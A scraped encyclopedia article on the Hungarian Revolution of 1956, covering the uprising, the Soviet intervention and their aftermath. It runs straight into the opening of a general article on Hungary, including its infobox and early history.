          Hungary became a communist state under the severely authoritarian leadership of Mtys Rkosi. The Security Police (VH) began a series of purges in which dissidents were denounced as  Titoists or western agents, and forced to confess in show trials. Thousands of Hungarians were arrested, tortured, tried, and imprisoned in concentration camps or were executed, including VH founder Lszl Rajk.


          The Rkosi government thoroughly politicized Hungary's educational system in order to supplant the educated classes with a "toiling intelligentsia". Russian language study and Communist political instruction were made mandatory in schools and universities nationwide. Religious schools were nationalized and church leaders were replaced by those loyal to the government. In 1949 the leader of the Hungarian Catholic Church, Jzsef Cardinal Mindszenty, was arrested and sentenced to life imprisonment for treason. Under Rkosi, Hungary's government was among the most repressive in Europe.


          The postwar Hungarian economy suffered from multiple challenges. Hungary agreed to pay war reparations approximating US$300 million, to the Soviet Union, Czechoslovakia, and Yugoslavia, and to support Soviet garrisons. The Hungarian National Bank in 1946 estimated the cost of reparations as "between 19 and 22 per cent of the annual national income." In 1946, the Hungarian currency experienced marked depreciation, resulting in the highest historical rates of hyperinflation known. Hungary's participation in the Soviet-sponsored COMECON (Council Of Mutual Economic Assistance), prevented it from trading with the West or receiving Marshall Plan aid. Although national income per capita rose in the first third of the 1950s, the standard of living fell. Huge income deductions to finance industrial investment reduced disposable personal income; mismanagement created chronic shortages in basic foodstuffs resulting in rationing of bread, sugar, flour and meat. Compulsory subscriptions to state bonds further reduced personal income. The net result was that disposable real income of workers and employees in 1952 was only two-thirds of what it had been in 1938, whereas in 1949, the proportion had been 90 per cent. These policies had a cumulative negative effect, and fueled discontent as foreign debt grew and the population experienced shortages of goods.


          


          International events
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          On March 5, 1953, Joseph Stalin died, ushering in a period of moderate liberalization during which most European communist parties developed a reform wing. In Hungary, the reformist Imre Nagy replaced Mtys Rkosi, "Stalin's Best Hungarian Disciple", as Prime Minister. However, Rkosi remained General Secretary of the Party, and was able to undermine most of Nagy's reforms. By April 1955, he had Nagy discredited and removed from office. After Khrushchev's "secret speech" of February 1956, which denounced Stalin and his protgs, Rkosi was deposed as General Secretary of the Party and replaced by Ernő Gerő on July 18, 1956.


          On May 14, 1955, the Soviet Union created the Warsaw Pact, binding Hungary to the Soviet Union and its satellite states in Central and Eastern Europe. Among the principles of this alliance were "respect for the independence and sovereignty of states" and "noninterference in their internal affairs".


          In 1955, the Austrian State Treaty and ensuing declaration of neutrality established Austria as a demilitarized and neutral country. This raised Hungarian hopes of also becoming neutral and in 1955 Nagy had considered "...the possibility of Hungary adopting a neutral status on the Austrian pattern". Austrian neutrality altered the calculus of cold war military planning as it geographically split the NATO Alliance from Geneva to Vienna, thus increasing Hungary's strategic importance to the Warsaw Pact.


          In June 1956, a violent uprising by Polish workers in Poznań was put down by the government, with scores of protesters killed and wounded. Responding to popular demand, in October 1956, the government appointed the recently rehabilitated reformist communist Władysław Gomułka as First Secretary of the Polish Communist Party, with a mandate to negotiate trade concessions and troop reductions with the Soviet government. After a few tense days of negotiations, on 19 October the Soviets finally gave in to Gomułka's reformist demands. News of the concessions won by the Poles - known as Polish October - emboldened many Hungarians to hope for similar concessions for Hungary and these sentiments contributed significantly to the highly-charged political climate that prevailed in Hungary in the second half of October 1956.


          


          Social unrest builds


          Rkosi's resignation in July 1956 emboldened students, writers and journalists to be more active and critical in politics. Students and journalists started a series of intellectual forums examining the problems facing Hungary. These forums, called Petfi circles, became very popular and attracted thousands of participants. On October 6, 1956, Lszl Rajk, who had been executed by the Rkosi government, was reburied in a moving ceremony which strengthened the party opposition, and later that month, the reformer Imre Nagy was rehabilitated to full membership in the Hungarian Communist Party.


          On October 16, 1956, university students in Szeged snubbed the official communist student union, the DISZ, by re-establishing the MEFESZ (Union of Hungarian University and Academy Students), a democratic student organization, previously banned under the Rkosi dictatorship. Within days, the student bodies of Pcs, Miskolc, and Sopron followed suit. On October 22, students of the Technical University compiled a list of sixteen points containing several national policy demands. After the students heard that the Hungarian Writers Union planned on the following day to express solidarity with pro-reform movements in Poland by laying a wreath at the statue of Polish-born General Bem, a hero of Hungary's War of Independence (184849), the students decided to organize a parallel demonstration of sympathy.


          


          Revolution


          


          First shots
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          On the afternoon of October 23, 1956, approximately 20,000 protesters convened next to the Bem statue. Pter Veres, President of the Writers Union, read a manifesto to the crowd, the students read their proclamation, and the crowd then chanted the censored "National Song" ( Nemzeti dal), the refrain of which states: "We vow, we vow, we will no longer remain slaves." Someone in the crowd cut out the communist coat of arms from the Hungarian flag, leaving a distinctive hole and others quickly followed suit.


          Afterwards, most of the crowd crossed the Danube to join demonstrators outside the Parliament Building. By 6 p.m., the multitude had swollen to more than 200,000 people; the demonstration was spirited, but peaceful.


          At 8 p.m., First Secretary Ernő Gerő broadcast a speech condemning the writers' and students' demands, and dismissing the demonstrators as a reactionary mob. Angered by Gerő's hard-line rejection, some demonstrators decided to carry out one of their demands - the removal of Stalin's 30ft (10 m)-high bronze statue that was erected in 1951 on the site of a church, which was demolished to make room for the Stalin monument. By 9:30 p.m. the statue was toppled and jubilant crowds celebrated by placing Hungarian flags in Stalin's boots, which was all that was left of the statue.


          At about the same time, a large crowd gathered at the Radio Budapest building, which was heavily guarded by the VH. The flash point occurred as a delegation attempting to broadcast their demands was detained and the crowd grew increasingly unruly as rumors spread that the protesters had been shot. Tear gas was thrown from the upper windows and the VH opened fire on the crowd, killing many. The VH tried to re-supply itself by hiding arms inside an ambulance, but the crowd detected the ruse and intercepted it. Hungarian soldiers sent to relieve the VH hesitated and then, tearing the red stars from their caps, sided with the crowd. Provoked by the VH attack, protesters reacted violently. Police cars were set ablaze, guns were seized from military depots and distributed to the masses and symbols of the communist regime were vandalised.


          


          Fighting spreads, government falls
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          During the night of October 23, Hungarian Communist Party Secretary Ernő Gerő requested Soviet military intervention "to suppress a demonstration that was reaching an ever greater and unprecedented scale." The Soviet leadership had formulated contingency plans for intervention in Hungary several months before. By 2 a.m. on October 24, under orders of the Soviet defense minister, Soviet tanks entered Budapest.


          On October 24, Soviet tanks were stationed outside the Parliament building and Soviet soldiers guarded key bridges and crossroads. Armed revolutionaries quickly set up barricades to defend Budapest, and were reported to have already captured some Soviet tanks by mid-morning. That day, Imre Nagy replaced Andrs Hegedűs as Prime Minister. On the radio, Nagy called for an end to violence and promised to initiate political reforms which had been shelved three years earlier. The population continued to arm itself as sporadic violence erupted. Armed protesters seized the radio building. At the offices of the Communist newspaper Szabad Np unarmed demonstrators were fired upon by VH guards who were then driven out as armed demonstrators arrived. At this point, the revolutionaries' wrath focused on the VH; Soviet military units were not yet fully engaged, and there were many reports of some Soviet troops showing open sympathy for the demonstrators.


          On October 25, a mass of protesters gathered in front of the Parliament Building. VH units began shooting into the crowd from the rooftops of neighboring buildings. Some Soviet soldiers returned fire on the VH, mistakenly believing that they were the targets of the shooting. Supplied by arms taken from the VH or given by Hungarian soldiers who joined the uprising, some in the crowd started shooting back.


          


          The attacks at the Parliament forced the collapse of the government. Communist First Secretary Ernő Gerő and former Prime Minister Andrs Hegedűs fled to the Soviet Union; Imre Nagy became Prime Minister and Jnos Kdr First Secretary of the Communist Party. Revolutionaries began an aggressive offensive against Soviet troops and the remnants of the VH.


          As the Hungarian resistance fought Soviet tanks using Molotov cocktails in the narrow streets of Budapest, revolutionary councils arose nationwide, assumed local governmental authority, and called for general strikes. Public Communist symbols such as red stars and Soviet war memorials were removed, and Communist books were burned. Spontaneous revolutionary militias arose, such as the 400-man group loosely led by Jzsef Duds, which attacked or murdered Soviet sympathizers and VH members. Soviet units fought primarily in Budapest; elsewhere the countryside was largely quiet. Soviet commanders often negotiated local cease-fires with the revolutionaries. In some regions, Soviet forces managed to quell revolutionary activity. In Budapest, the Soviets were eventually fought to a stand-still and hostilities began to wane. Hungarian general Bla Kirly, freed from a life sentence for political offenses and acting with the support of the Nagy government, sought to restore order by unifying elements of the police, army and insurgent groups into a National Guard. A ceasefire was arranged on October 28, and by October 30 most Soviet troops had withdrawn from Budapest to garrisons in the Hungarian countryside.


          


          Interlude


          Fighting had virtually ceased between 28 October and 4 November, as many Hungarians believed that Soviet military units were indeed withdrawing from Hungary.


          


          The New Hungarian National Government


          


          The rapid spread of the uprising in the streets of Budapest and the abrupt fall of the Gerő-Hegedűs government left the new national leadership surprised, and at first disorganized. Nagy, a loyal Party reformer described as possessing "only modest political skills", initially appealed to the public for calm and a return to the old order. Yet Nagy, the only remaining Hungarian leader with credibility in both the eyes of the public and the Soviets, "at long last concluded that a popular uprising rather than a counter-revolution was taking place". Calling the ongoing insurgency "a broad democratic mass movement" in a radio address on October 27, Nagy formed a government which included some non-communist ministers. This new National Government abolished both the VH and the one-party system.
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          Because it held office only ten days, the National Government had little chance to clarify its policies in detail. However, newspaper editorials at the time stressed that Hungary should be a neutral, multiparty social democracy. Many political prisoners were released, most notably Jzsef Cardinal Mindszenty. Political parties which were previously banned, such as the Independent Smallholders and the National Peasants' Party, reappeared to join the coalition.


          Local revolutionary councils formed throughout Hungary , generally without involvement from the preoccupied National Government in Budapest, and assumed various responsibilities of local government from the defunct communist party. By October 30, these councils had been officially sanctioned by the Hungarian Workers' (Communist) Party, and the Nagy government asked for their support as "autonomous, democratic local organs formed during the Revolution". Likewise, workers' councils were established at industrial plants and mines, and many unpopular regulations such as production norms were eliminated. The workers' councils strove to manage the enterprise whilst protecting workers' interests; thus establishing a socialist economy free of rigid party control. Local control by the councils was not always bloodless; in Debrecen, Gyor, Sopron, Mosonmagyarvr and other cities, crowds of demonstrators were fired upon by the VH, with many lives lost. The VH were disarmed, often by force, in many cases assisted by the local police.


          


          Soviet perspective


          


          On October 24, the Presidium of the Central Committee of the Communist Party of the Soviet Union (the Politburo) discussed the political upheavals in Poland and Hungary. A delegation in Budapest reported that the situation was not as dire as had been portrayed. Khrushchev stated that he believed that Party Secretary Ernő Gerő's request for intervention on October 23 indicated that the Hungarian Party still held the confidence of the Hungarian public. In addition, he saw the protests not as an ideological struggle, but as popular discontent over unresolved basic economic and social issues.


          After some debate, the Presidium at first decided not to remove the new Hungarian government, and on October 30 adopted a Declaration of the Government of the USSR on the Principles of Development and Further Strengthening of Friendship and Cooperation between the Soviet Union and other Socialist States, which was issued the next day. This document proclaimed: "The Soviet Government is prepared to enter into the appropriate negotiations with the government of the Hungarian People's Republic and other members of the Warsaw Treaty on the question of the presence of Soviet troops on the territory of Hungary."


          Some believe that Hungary's declaration to exit the Warsaw Pact caused the Soviet intervention, but minutes of the October 31 meeting of the Presidium record that the decision to intervene militarily was taken one day before Hungary declared its neutrality and withdrawal from the Warsaw Pact. However, this still confuses historians. There are Russian historians (not advocates of the Communist era) who maintain that Hungary declaring its neutrality was the drop that got the Kremlin leaders to decide to intervene a second time. Two days earlier, on October 30, while the Soviet messengers Anastas Mikoyan and Mikhail Suslov still were in Budapest, Nagy had hinted that neutrality was a long-term objective for Hungary, and that he was hoping to discuss this matter with the leaders in Kreml. They passed this on to Moscow. At that time, Khrushchev was in Stalin's Dacha, thinking about what to do. One of his speechwriters has said that the declaration of neutrality was an important factor. Too, other Hungarian leaders of the revolution as well as students had called for their country's withdrawal from the Warsaw Pact much earlier, and this may have influenced Soviet decision making.


          A hard-line faction led by Molotov was pushing for intervention, but Khrushchev and Marshal Zhukov were initially opposed. However, several key events alarmed the Presidium and cemented the interventionists' position:


          
            	Simultaneous movements towards multiparty parliamentary democracy, and a democratic national council of workers, which could "lead towards a capitalist state." Both movements challenged the pre-eminence of the Soviet Communist Party in Eastern Europe and perhaps Soviet hegemony itself. For the majority of the Presidium, the workers' direct control over their councils without Communist Party leadership was incompatible with their idea of socialism. At the time, these councils were, in the words of Hannah Arendt, "the only free and acting soviets (councils) in existence anywhere in the world".


            	The Presidium was concerned lest the West might perceive Soviet weakness if it did not deal firmly with Hungary. Khrushchev reportedly remarked "If we depart from Hungary, it will give a great boost to the Americans, English, and Frenchthe imperialists.  To Egypt they will then add Hungary."


            	Khrushchev stated that many in the communist party would not understand a failure to respond with force in Hungary. De-Stalinization had alienated the more conservative elements of the Party, who were alarmed at threats to Soviet influence in Eastern Europe. On June 17, 1953, workers in East Berlin had staged an uprising, demanding the resignation of the government of the German Democratic Republic. This was quickly and violently put down with the help of the Soviet military, with 84 killed and wounded and 700 arrested. In June 1956, in Poznań, Poland, an anti-government workers' revolt had been suppressed by the Polish security forces with between 57 and 78 deaths and led to the installation of a less Soviet-controlled government. Additionally, by late October, unrest was noticed in some regional areas of the Soviet Union: while this unrest was minor, it was intolerable.


            	Hungarian neutrality and withdrawal from the Warsaw Pact represented a breach in the Soviet defensive buffer zone of satellite nations. Soviet fear of invasion from the West made a defensive buffer of allied states in Eastern Europe an essential security objective.

          


          The Presidium decided to break the de facto ceasefire and crush the Hungarian revolution. The plan was to declare a "Provisional Revolutionary Government" under Jnos Kdr, who would appeal for Soviet assistance to restore order. According to witnesses, Kdr was in Moscow in early November, and he was in contact with the Soviet embassy while still a member of the Nagy government. Delegations were sent to other Communist governments in Eastern Europe and China, seeking to avoid a regional conflict, and propaganda messages prepared for broadcast as soon as the second Soviet intervention had begun. To disguise these intentions, Soviet diplomats were to engage the Nagy government in talks discussing the withdrawal of Soviet forces.


          According to some sources, the Chinese leader Mao Zedong played an important role in Khrushchev's decision to suppress the Hungarian uprising; he let Liu Shaoqi put pressure on Khrushchev to send in troops to put down the revolt by force.


          On November 1 to November 3, Khrushchev left Moscow to meet with his East-European allies and inform them of the decision to intervene. At the first such meeting, he met with Władysław Gomułka in Brest. Then he had talks with the Romanian, Czechoslovak, and Bulgarian leaders in Bucharest. Finally Khrushchev flew with Malenkov to Yugoslavia, where they met with Tito, who was vacationing on his island Brioni in the Adriatic. The Yugoslavs also persuaded Khrushchev to choose Jnos Kdr instead of Ferenc Mnnich as the new leader of Hungary.


          


          International reaction


          Although the United States Secretary of State recommended on October 24 that the United Nations Security Council convene to discuss the situation in Hungary, little immediate action was taken to introduce a resolution. Responding to the plea by Nagy at the time of the second massive Soviet intervention on November 4, the Security Council resolution critical of Soviet actions was vetoed by the Soviet Union. The General Assembly, by a vote of 50 in favour, 8 against and 15 abstentions, called on the Soviet Union to end its Hungarian intervention, but the newly constituted Kdr government rejected UN observers.


          The U.S. President, Dwight Eisenhower, was aware of a detailed study of Hungarian resistance which recommended against U.S. military intervention, and of earlier policy discussions within the National Security Council which focused upon encouraging discontent in Soviet satellite nations only by economic policies and political rhetoric. In a 1998 interview, Hungarian Ambassador Gza Jeszenszky was critical of Western inaction in 1956, citing the influence of the United Nations at that time and giving the example of UN intervention in Korea from 195053.


          During the uprising, the Radio Free Europe (RFE) Hungarian-language programs broadcast news of the political and military situation, as well as appealing to Hungarians to fight the Soviet forces, including tactical advice on resistance methods. After the Soviet suppression of the revolution, RFE was criticized for having misled the Hungarian people that NATO or United Nations would intervene if the citizens continued to resist.


          


          Soviet intervention of November 4
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          On November 1, Imre Nagy received reports that Soviet forces had entered Hungary from the east and were moving towards Budapest. Nagy sought and received assurances from Soviet ambassador Yuri Andropov that the Soviet Union would not invade, although Andropov knew otherwise. The Cabinet, with Jnos Kdr in agreement, declared Hungary's neutrality, withdrew from the Warsaw Pact, and requested assistance from the diplomatic corps in Budapest and the UN Secretary-General to defend Hungary's neutrality. Ambassador Andropov was asked to inform his government that Hungary would begin negotiations on the removal of Soviet forces immediately.


          On November 3, a Hungarian delegation led by the Minister of Defense Pl Malter were invited to attend negotiations on Soviet withdrawal at the Soviet Military Command at Tkl, near Budapest. At around midnight that evening, General Ivan Serov, Chief of the Soviet Security Police ( NKVD) ordered the arrest of the Hungarian delegation, and the next day, the Soviet army again attacked Budapest.


          This second Soviet intervention, codenamed "Operation Whirlwind", was launched by Marshal Ivan Konev. The five Soviet divisions stationed in Hungary before October 23 were augmented to a total strength of 17 divisions. The 8th Mechanized Army under command of Lieutenant General Hamazasp Babadzhanian and the 38th Army under command of Lieutenant General Hadzhi-Umar Mamsurov from the nearby Carpathian Military District were deployed to Hungary for the operation. Some rank-and-file Soviet soldiers reportedly believed they were being sent to Berlin to fight German fascists. By 9:30 p.m. on November 3, the Soviet Army had completely encircled Budapest.


          At 3:00 a.m. on November 4, Soviet tanks penetrated Budapest along the Pest side of the Danube in two thrusts: one up the Soroksri road from the south and the other down the Vci road from the north. Thus before a single shot was fired, the Soviets had effectively split the city in half, controlled all bridgeheads, and were shielded to the rear by the wide Danube river. Armored units crossed into Buda and at 4:25 a.m. fired the first shots at the army barracks on Budarsi road. Soon after, Soviet artillery and tank fire was heard in all districts of Budapest. Operation Whirlwind combined air strikes, artillery, and the coordinated tank-infantry action of 17 divisions. The Hungarian Army put up sporadic and uncoordinated resistance. Although some very senior officers were openly pro-Soviet, the rank and file soldiers were overwhelmingly loyal to the revolution and either fought against the invasion or deserted. The United Nations reported that there were no recorded incidents of Hungarian Army units fighting on the side of the Soviets.
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          At 5:20 a.m. on November 4, Imre Nagy broadcast his final plea to the nation and the world, announcing that Soviet Forces were attacking Budapest and that the Government remained at its post. The broadcaster, Free Kossuth Rdi, stopped broadcasting at 8:07 a.m. An emergency Cabinet meeting was held in the Parliament building, but was attended by only three Ministers. As Soviet troops arrived to occupy the building, a negotiated evacuation ensued, leaving Minister of State Istvn Bib as the last representative of the National Government remaining at post. Awaiting arrest, he wrote a stirring proclamation to the nation and the world.


          At 6:00 am on November 4, in the town of Szolnok, Jnos Kdr proclaimed the "Hungarian Revolutionary Worker-Peasant Government". His statement declared "We must put an end to the excesses of the counter-revolutionary elements. The hour for action has sounded. We are going to defend the interest of the workers and peasants and the achievements of the people's democracy." Later that evening, Kdr called upon "the faithful fighters of the true cause of socialism" to come out of hiding and take up arms. However, Hungarian support did not materialize; the fighting did not take on the character of an internally divisive civil war, but rather, in the words of a United Nations report, that of "a well-equipped foreign army crushing by overwhelming force a national movement and eliminating the Government."


          By 8:00 am organised defence of the city evaporated after the radio station was seized, and many defenders fell back to fortified positions. Hungarian civilians bore the brunt of the fighting, as Soviet troops spared little effort to differentiate military from civilian targets. For this reason, Soviet tanks often crept along main roads firing indiscriminately into buildings. Hungarian resistance was strongest in the industrial areas of Budapest, which were heavily targeted by Soviet artillery and air strikes. The last pocket of resistance called for ceasefire on 10 November. Over 2,500 Hungarians and 722 Soviet troops had been killed and thousands more were wounded.


          


          Soviet version of events


          Soviet reports of the events surrounding, during, and after were remarkably consistent in their accounts. 36 hours after the outbreak of violence, Pravda published an account which set the tone for all further reports and subsequent Soviet historiography:


          
            	on October 23, the "honest" socialist Hungarians demonstrated against mistakes made by the Rkosi and Gerő governments


            	fascist, Hitlerite, reactionary, counter-revolutionary hooligans financed by the imperialist west took advantage of the unrest to stage a counter-revolution


            	the honest Hungarian people under Nagy appealed to Soviet (Warsaw Pact) forces stationed in Hungary to assist in restoring order


            	the Nagy government was ineffective, allowing itself to be penetrated by counter-revolutionary influences, weakening then disintegrating, as proven by Nagy's culminating denouncement of the Warsaw Pact


            	Hungarian patriots under Kdr broke with the Nagy government and formed a government of honest Hungarian revolutionary workers and peasants; this genuinely popular government petitioned the Soviet command to help put down the counter-revolution


            	the Hungarian patriots, with Soviet assistance, smashed the counter-revolution

          


          The first Soviet report came out 24 hours after the first Western report. Nagy's appeal to the United Nations, or that he was arrested, was not reported. Nor did accounts explain how Nagy went from patriot to traitor. The Soviet press reported calm in Budapest while the Western press reported a revolutionary crisis was breaking out. According to the Soviet account, Hungarians never wanted a revolution at all.


          


          Aftermath


          


          Hungary


          Between November 10 and December 19, workers' councils negotiated directly with the occupying Soviets. While they achieved some prisoner releases, they did not achieve a Soviet withdrawal. Thousands of Hungarians were arrested, imprisoned and deported to the Soviet Union, many without evidence. Approximately 200,000 Hungarians fled Hungary, some 26,000 were put on trial by the Kdr government, and of those 13,000 were imprisoned. Former Hungarian Foreign Minister Gza Jeszenszky estimated 350 were executed. Sporadic armed resistance and strikes by workers' councils continued until mid-1957, causing substantial economic disruption.


          With most of Budapest under Soviet control by November 8, Kdr became Prime Minister of the "Revolutionary Worker-Peasant Government" and General Secretary of the Hungarian Communist Party. Few Hungarians rejoined the reorganized Party, its leadership having been purged under the supervision of the Soviet Presidium, led by Georgy Malenkov and Mikhail Suslov. Although Party membership declined from 800,000 before the uprising to 100,000 by December 1956, Kdr steadily increased his control over Hungary and neutralized dissenters. The new government attempted to enlist support by espousing popular principles of Hungarian self-determination voiced during the uprising, but Soviet troops remained. After 1956 the Soviet Union severely purged the Hungarian Army and reinstituted political indoctrination in the units that remained. In May 1957, the Soviet Union increased its troop levels in Hungary and by treaty Hungary accepted the Soviet presence on a permanent basis.
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          The Red Cross and the Austrian Army established refugee camps in Traiskirchen and Graz. Imre Nagy along with Georg Lukcs, Gza Losonczy, and Lszl Rajk's widow, Jlia, took refuge in the Embassy of Yugoslavia as Soviet forces overran Budapest. Despite assurances of safe passage out of Hungary by the Soviets and the Kdr government, Nagy and his group were arrested when attempting to leave the embassy on November 22 and taken to Romania. Losonczy died while on a hunger strike in prison awaiting trial when his jailers "carelessly pushed a feeding tube down his windpipe." The remainder of the group was returned to Budapest in 1958. Nagy was executed, along with Pl Malter and Mikls Gimes, after secret trials in June 1958. Their bodies were placed in unmarked graves in the Municipal Cemetery outside Budapest.


          By 1963, most political prisoners from the 1956 Hungarian revolution had been released. During the November 1956 Soviet assault on Budapest, Cardinal Mindszenty was granted political asylum at the United States embassy, where he lived for the next 15 years, refusing to leave Hungary unless the government reversed his 1949 conviction for treason. Due to poor health and a request from the Vatican, he finally left the embassy for Austria in September 1971.


          


          International


          Despite Cold War rhetoric by the West espousing a rollback of the domination of Eastern Europe by the USSR, and Soviet promises of the imminent triumph of socialism, national leaders of this period as well as later historians saw the failure of the uprising in Hungary as evidence that the Cold War in Europe had become a stalemate. The Foreign Minister of West Germany recommended that the people of Eastern Europe be discouraged from "taking dramatic action which might have disastrous consequences for themselves." The Secretary-General of NATO called the Hungarian revolt "the collective suicide of a whole people". In a newspaper interview in 1957, Khrushchev commented "support by United States ... is rather in the nature of the support that the rope gives to a hanged man." Twelve years later, when Soviet-led forces ended a similar movement toward liberalization in Czechoslovakia, First Secretary Alexander Dubček, recalling the Hungarian experience, asked his citizens not to resist the occupation.


          In January 1957, United Nations Secretary-General Dag Hammarskjld, acting in response to UN General Assembly resolutions requesting investigation and observation of the events in Soviet-occupied Hungary, established the Special Committee on the Problem of Hungary. The Committee, with representatives from Australia, Ceylon (Sri Lanka), Denmark, Tunisia and Uruguay, conducted hearings in New York, Geneva, Rome, Vienna and London. Over five months, 111 refugees were interviewed including ministers, military commanders and other officials of the Nagy government, workers, revolutionary council members, factory managers and technicians, communists and non-communists, students, writers, teachers, medical personnel and Hungarian soldiers. Documents, newspapers, radio transcripts, photos, film footage and other records from Hungary were also reviewed, as well as written testimony of 200 other Hungarians. The governments of Hungary and Romania refused the UN officials of the Committee entry, and the government of the Soviet Union did not respond to requests for information. The 268-page Committee Report was presented to the General Assembly in June 1957, documenting the course of the uprising and Soviet intervention, and concluding that the Kdr government and Soviet occupation were in violation of the human rights of the Hungarian people. A General Assembly resolution was approved, deploring the repression of the Hungarian people and the Soviet occupation, but no other action was taken.


          


          At the Melbourne Olympics in 1956, the Soviet handling of the Hungarian uprising led to a boycott by Spain, the Netherlands and Switzerland. At the Olympic Village, the Hungarian delegation tore down the Communist Hungarian flag and raised the flag of Free Hungary in its place. A confrontation between Soviet and Hungarian teams occurred in the semi-final match of the water polo tournament. The match was extremely violent, and was halted in the final minute to quell fighting amongst spectators. This match, now known as the " blood in the water match", became the subject of several films. The Hungarian team won the game 4-0 and later was awarded the Olympic gold medal. Several members of the Hungarian Olympic delegation defected after the games.


          The events in Hungary produced ideological fractures within the Communist parties of Western Europe. Within the Italian Communist Party (PCI) a split ensued: most ordinary members and the Party leadership, including Palmiro Togliatti and Giorgio Napolitano, regarded the Hungarian insurgents as counter-revolutionaries, as reported in l'Unit, the official PCI newspaper. However Giuseppe Di Vittorio, chief of the Communist trade union CGIL, repudiated the leadership position, as did the prominent party members Antonio Giolitti, Loris Fortuna and many other influential Communist intellectuals, who later were expelled or left the party. Pietro Nenni, the national secretary of the Italian Socialist Party, a close ally of the PCI, opposed the Soviet intervention as well. Napolitano, elected in 2006 as President of the Italian Republic, wrote in his 2005 political autobiography that he regretted his justification of Soviet action in Hungary, and that at the time he believed in Party unity and the international leadership of Soviet communism. Within the Communist Party of Great Britain (CPGB), dissent that began with the repudiation of Stalinism by John Saville and E.P. Thompson, influential historians and members of the Communist Party Historians Group, culminated in a loss of thousands of party members as events unfolded in Hungary. Peter Fryer, correspondent for the CPGB newspaper The Daily Worker, reported accurately on the violent suppression of the uprising, but his dispatches were heavily censored; Fryer resigned from the paper upon his return, and was later expelled from the communist party. In France, moderate communists, such as historian Emmanuel Le Roy Ladurie, resigned, questioning the policy of supporting Soviet actions by the French Communist Party. The French philosopher and writer Albert Camus wrote an open letter, The Blood of the Hungarians, criticizing the West's lack of action. Even Jean-Paul Sartre, still a determined communist, criticised the Soviets in his article Le Fantme de Staline, in Situations VII.


          


          Commemoration
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          In December, 1991, the preamble of the treaties with the dismembered Soviet Union, under Mikhail Gorbachev, and Russia, represented by Boris Yeltsin, apologized officially for the 1956 Soviet actions in Hungary. This apology was repeated by Yeltsin in 1992 during a speech to the Hungarian parliament.


          On February 13, 2006, the US State Department commemorated the Fiftieth anniversary of the 1956 Hungarian Revolution. US Secretary of State Rice commented on the contributions made by 1956 Hungarian refugees to the United States and other host countries, as well as the role of Hungary in providing refuge to East Germans during the 1989 protests against communist rule. US President George W. Bush also visited Hungary on June 22, 2006, to commemorate the fiftieth anniversary.


          After the fall of the communist regime, Imre Nagy's body was reburied with full honours. The Republic of Hungary was declared in 1989 on the 33rd anniversary of the Revolution, and October 23 is now a Hungarian national holiday.



          
            Retrieved from " http://en.wikipedia.org/wiki/Hungarian_Revolution_of_1956"
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              	Capital

              (and largest city)

              	Budapest

            


            
              	Official languages

              	Hungarian (Magyar)
            


            
              	Demonym

              	Hungarian
            


            
              	Government

              	Parliamentary republic
            


            
              	-

              	President

              	Lszl Slyom
            


            
              	-

              	Prime minister

              	Ferenc Gyurcsny
            


            
              	Foundation
            


            
              	-

              	Foundation of Hungary

              	896
            


            
              	-

              	Recognized as Kingdom

              	December 1000
            


            
              	EU accession

              	May 1, 2004
            


            
              	Area
            


            
              	-

              	Total

              	93,030km( 109th)

              35,919 sqmi
            


            
              	-

              	Water(%)

              	0.74%
            


            
              	Population
            


            
              	-

              	2008 Februaryestimate

              	10,041,000( 79th)
            


            
              	-

              	2001census

              	10,198,315
            


            
              	-

              	Density

              	109/km( 94th)

              282/sqmi
            


            
              	GDP( PPP)

              	2008estimate
            


            
              	-

              	Total

              	$198.7 billion( 48th)
            


            
              	-

              	Per capita

              	$20.000( 39th)
            


            
              	Gini(2008)

              	24.96(low)( 3rd)
            


            
              	HDI(2007)

              	▲ 0.874(high)( 36th)
            


            
              	Currency

              	Forint ( HUF)
            


            
              	Time zone

              	CET ( UTC+1)
            


            
              	-

              	Summer( DST)

              	CEST( UTC+2)
            


            
              	Internet TLD

              	.hu1
            


            
              	Calling code

              	+36
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              	Also .eu as part of the European Union.
            

          


          Hungary ( Hungarian: Magyarorszg; IPA: [mɒɟɒrorsaːg]; listen), officially in English the Republic of Hungary (Magyar Kztrsasg listen, literally Magyar (Hungarian) Republic), is a landlocked country in the Carpathian Basin of Central Europe, bordered by Austria, Slovakia, Ukraine, Romania, Serbia, Croatia, and Slovenia. Its capital is Budapest. Hungary is a member of OECD, NATO, EU and a Schengen state. The official language is Hungarian (also known as Magyar), which forms part of the Finno-Ugric family. It is one of the four official languages of the European Union that is not of Indo-European origin.


          Following a Celtic (after c. 450 BC) and a Roman (9 BC - c. 4th century) period, the foundation of Hungary was laid in the late Ninth Century by the Magyar chieftain rpd, whose great grandson Istvn ascended to the throne with a crown sent from Rome in 1000. The Kingdom of Hungary existed with minor interruptions for almost 950 years, and at various points was regarded as one of the cultural centers of the Western world. It was succeeded by a Communist era (1947-1989) during which Hungary gained widespread international attention regarding the Revolution of 1956 and the seminal move of opening its border with Austria in 1989, thus accelerating the collapse of the Eastern Bloc. The present form of government is parliamentary republic (since 1989). Hungary's current goal is to become a developed country by IMF standards, having become already developed by most traditional measures, including GDP and HDI (world ranking 36th and rising). The country's first ever term of EU presidency is due in 2011.


          Hungary was one of the 15 most popular tourist destinations in the world in the past decade, with a capital regarded as one of the most beautiful in the world. Despite its relatively small size, the country is home to numerous World Heritage Sites, UNESCO Biosphere reserves, the second largest thermal lake in the world ( Lake Hvz), the largest lake in Central Europe ( Lake Balaton), and the largest natural grassland in Europe ( Hortobgy).
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          The land before the Magyars
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          In the time of the Roman Empire, the region west of the Danube river was known as Pannonia. After the Western Roman Empire collapsed under the stress of the migration of Germanic tribes and Carpian pressure, the Migration Period continued bringing many invaders to Europe. Among the first to arrive were the Huns, who built up a powerful empire under Attila. Attila the Hun was erroneously regarded as an ancestral ruler of the Hungarians. It is believed that the origin of the name "Hungary" does not come from the Central Asian nomadic invaders called the Huns, but rather originated from 7th century, when Magyar tribes were part of a Bulgar alliance called On-Ogour, which in Old Turkish meant "(the) Ten Arrows" . After Hunnish rule faded, the Germanic Ostrogoths then the Lombards came to Pannonia, and the Gepids had a presence in the eastern part of the Carpathian Basin for about 100 years. In the 560s the Avars founded the Avar Khaganate , a state which maintained supremacy in the region for more than two centuries and had the military power to launch attacks against all its neighbours. The Avar Khagnate was weakened by constant wars and outside pressure. The Franks under Charlemagne managed to defeat the Avars ending their 250 year rule. Neither the Franks nor others were able to create a lasting state in the region until the freshly unified Hungarians led by rpd settled in the Carpathian Basin starting in 896. .
